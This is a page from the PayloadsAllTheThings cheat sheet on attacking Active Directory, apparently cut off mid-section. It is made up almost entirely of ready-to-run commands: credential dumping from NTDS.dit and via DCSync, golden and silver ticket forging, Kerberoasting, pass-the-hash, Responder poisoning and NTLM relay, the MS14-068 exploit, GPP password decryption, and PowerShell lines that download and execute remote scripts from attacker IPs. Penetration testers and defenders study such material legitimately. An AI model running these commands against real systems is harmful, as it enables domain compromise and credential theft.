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PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md

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# Active Directory Attacks
## Summary
* [Tools](#tools)
* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
* [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
* [Open Shares](#open-shares)
* [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
* [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
* Using ndtsutil
* Using Vshadow
* Using vssadmin
* Using DiskShadow
* Using Mimikatz DCSync
* Using Mimikatz sekurlsa
* [Password in AD User comment](#password-in-ad-user-comment)
* [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
* [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
* [Kerberoasting](#kerberoasting)
* [KRB_AS_REP roasting](#krb_as_rep-roasting)
* [Pass-the-Hash](#pass-the-hash)
* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
* [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
* [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
* [SMB Signing Disabled](#smb-signing-disabled)
* [Drop the MIC](#drop-the-mic)
* [SCF file attack against writeable share](#scf-file-attack-against-writeable-share)
* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
* [Trust relationship between domains](#trust-relationship-between-domains)
* [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
* [Unconstrained delegation](#unconstrained-delegation)
* [Resource-Based Constrained Delegation](#resource-based-constrained-delegation)
* [Relay delegation with mitm6](#relay-delegation-with-mitm6)
* [PrivExchange attack](#privexchange-attack)
* [Password spraying](#password-spraying)
* [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etc-krb5-keytab)
* [PXE Boot image attack](#pxe-boot-image-attack)
* [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect)
## Tools
* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/SpiderLabs/Responder)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger)
* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
```powershell
apt install bloodhound #kali
neo4j console
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
./bloodhound
SharpHound.exe (from resources/Ingestor)
SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
or
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
or
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
```
* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
```bash
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb -L
crackmapexec smb -M name_module -o VAR=DATA
crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
crackmapexec 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
crackmapexec mimikatz --server http --server-port 80
```
* [Mitm6](https://github.com/fox-it/mitm6.git)
```bash
git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
# -i: open an interactive shell
```
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
```powershell
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
```
* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
```powershell
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```
* [Ping Castle](https://github.com/vletoux/pingcastle)
```powershell
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
```
* [Kerbrute](https://github.com/ropnop/kerbrute)
```powershell
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
```
* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
```powershell
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary
```
## Most common paths to AD compromise
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
```powershell
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
# loc
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```
```bash
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```
Generate a ticket with `metasploit` or `pykek`
```powershell
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD P@ssw0rd yes The Domain User password
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER lambda yes The Domain User
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```
```powershell
# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
git clone https://github.com/SecWiki/windows-kernel-exploits
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
```
Then use `mimikatz` to load the ticket.
```powershell
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```
:warning: If the clock is skewed use `clock-skew.nse` script from `nmap`
```powershell
Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
Linux> sudo date -s "14 APR 2015 18:25:16"
Windows> net time /domain /set
```
### Open Shares
```powershell
smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -R # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```
or
```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file
```
or
```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
```
Download a folder recursively
```powershell
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```
Mount a share
```powershell
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
```
### GPO - Pivoting with Local Admin & Passwords in SYSVOL
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
Find password in SYSVOL (MS14-025)
```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```
Metasploit modules to enumerate shares and credentials
```c
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```
Crackmapexec modules
```powershell
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```
List all GPO for a domain
```powershell
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all
Powersploit:
Get-NetGPO
Get-NetGPOGroup
```
### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
#### Using ndtsutil
```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```
or
```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```
#### Using Vshadow
```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```
You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```
#### Using vssadmin
```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```
#### Using DiskShadow (a Windows signed binary)
```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```
#### Using esentutl.exe
Copy/extract a locked file such as the AD Database
```powershell
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```
#### Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes
```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```
secretsdump also works remotely
```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```
#### Alternatives - modules
Metasploit modules
```c
windows/gather/credentials/domain_hashdump
```
PowerSploit module
```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```
CrackMapExec module
```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```
#### Using Mimikatz DCSync
Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
```powershell
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```
:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.
#### Using Mimikatz sekurlsa
Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights
```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```
### Password in AD User comment
```powershell
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```
or dump the Active Directory and `grep` the content.
```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```
### Pass-the-Ticket Golden Tickets
Forging a TGT require the krbtgt NTLM hash
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.
#### Using Mimikatz
```powershell
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
#### Using Meterpreter
```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```
#### Using a ticket on Linux
```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi
# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.
```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```
### Pass-the-Ticket Silver Tickets
Forging a TGS require machine accound password (key) or NTLM hash from the KDC
```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
### Kerberoasting
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
```
Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
```
Then crack the ticket with hashcat or john
```powershell
hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
```
Mitigations:
* Have a very long password for your accounts with SPNs
* Make sure no users have SPNs
### KRB_AS_REP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
Prerequisite:
- Accounts have to have **DONT_REQ_PREAUTH**
```powershell
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast
```
Using `impacket` to get the hash and `hashcat` to crack it.
```powershell
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
```
### Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
or with crackmapexec
```powershell
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...
```
or with psexec
```powershell
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
```
or with the builtin Windows RDP and mimikatz
```powershell
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
```
### OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash then you can connect to the machine using the TGT.
#### Using impacket
```powershell
root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
also with the AES Key if you have it
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```
#### Using Rubeus
```powershell
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
### Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
```python
python Responder.py -I eth0
```
Then crack the hash with `hashcat`
```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```
### NTLMv2 hashes relaying
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|---|---|---|
| LM | 3000 | crack/pass the hash |
| NTLM/NTHash | 1000 | crack/pass the hash |
| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack |
| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack |
#### MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068
```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```
#### SMB Signing Disabled
If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.
1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
```powershell
[Responder Core]
; Servers to start
...
SMB = Off # Turn this off
HTTP = Off # Turn this off
```
2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list.
```powershell
ntlmrelayx.py -tf targets.txt
```
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
```powershell
$ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol Target Username Port
-------- -------------- ------------------------ ----
MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
$ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth
```
#### Drop the MIC
> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)
```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```
- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
```powershell
TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
